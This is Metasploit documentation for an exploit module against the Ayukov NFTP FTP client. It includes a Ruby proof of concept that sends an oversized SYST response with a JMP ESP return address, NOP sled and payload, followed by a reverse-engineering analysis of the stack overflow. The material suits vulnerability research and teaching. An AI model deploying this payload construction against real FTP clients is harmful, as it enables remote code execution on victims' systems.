Files
metasploit-gs/documentation/modules/exploit/windows/ftp/ayukov_nftp.md
T
2020-01-20 21:26:59 -05:00

182 lines
5.5 KiB
Markdown

## Vulnerable Application
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
handles the server input.
The exploit was tested on Windows XP SP3 (English).
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe).
### PoC
A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client:
```ruby
# Let the client log in
client.get_once
user = "331 OK.\r\n"
client.put(user)
client.get_once
pass = "230 OK.\r\n"
client.put(pass)
sploit = "A"*4116
sploit << [target.ret].pack('V') # JMP ESP here
sploit << "\x90"*16
sploit << payload.encoded
sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
sploit << "\r\n"
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
```
### Root Cause Analysis
When serving the PoC against the vulnerable app, the client's command prompt shows:
```
12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257
```
The interesting part here is that when the client sends a ```SYST``` request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the ```SYST``` string is at the following location:
```
.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
```
When we cross reference, we can tell this is used by the ```OpenControlConnection``` function.
Although there is no symbol to identify the actual function name "OpenControlConnection", the
debugging message at the beginning of the function is a big hint:
```C
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
sub_45AF40(savedregs);
*(_DWORD *)&name.sa_data[10] = a2;
*(_DWORD *)&name.sa_data[6] = a3;
*(_DWORD *)&name.sa_data[2] = a1;
if ( !dword_477AEC )
sub_419B4C(1);
while ( 1 )
{
while ( 1 )
{
do
{
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
...
```
Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
```
.text:0040A504 push offset aSyst ; "SYST"
.text:0040A509 lea eax, [ebp+charResBuffer]
.text:0040A50F push eax ; charResBuffer
.text:0040A510 lea eax, [ebp+args]
.text:0040A516 push eax ; int
.text:0040A517 push 0 ; int
.text:0040A519 call SendFTPRequest
```
Inside the SendFTPRequest function, it looks like this:
```C
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
char *v4; // ebx@0
int v5; // edi@0
int v6; // esi@0
char *v7; // edx@1
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
char *savedregs; // [esp+4018h] [ebp+0h]@1
va_list va; // [esp+4030h] [ebp+18h]@1
va_start(va, Format);
sub_45AF40(savedregs);
savedregs = v4;
v7 = Format;
if ( Format )
{
v4 = Dst;
// This actually checks the input for the FTP command from the client.
// The 0x4000u indicates the string should not be longer than that, otherwise
// there will be a buffer overflow warning in this function.
snprintf1(Dst, 0x4000u, Format, va);
v7 = Dst;
}
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}
```
We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving
the server's response, because the way it is used:
```C
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
return result;
if ( result )
goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
sub_445CEC(charResBuffer);
if ( strstr(charResBuffer, "unix") )
{
if ( strstr(charResBuffer, "powerweb") )
{
*(_DWORD *)dword_47B1E0 = 6;
goto LABEL_206;
}
}
...
```
In addition, this buffer is actually on the stack, and it's 4096 long:
```
-00001010 charResBuffer db 4096 dup(?)
```
This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to
arbitrary code execution:
```
.text:0040AC39 lea esp, [ebp-2048h]
.text:0040AC3F pop ebx
.text:0040AC40 pop esi
.text:0040AC41 pop edi
.text:0040AC42 leave
.text:0040AC43 retn
```
Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. And since it doesn't look like there is a patch (because the product is
no longer in active development, from the exploit developer's perspective, it is not necessary
to look for other ways to exploit it).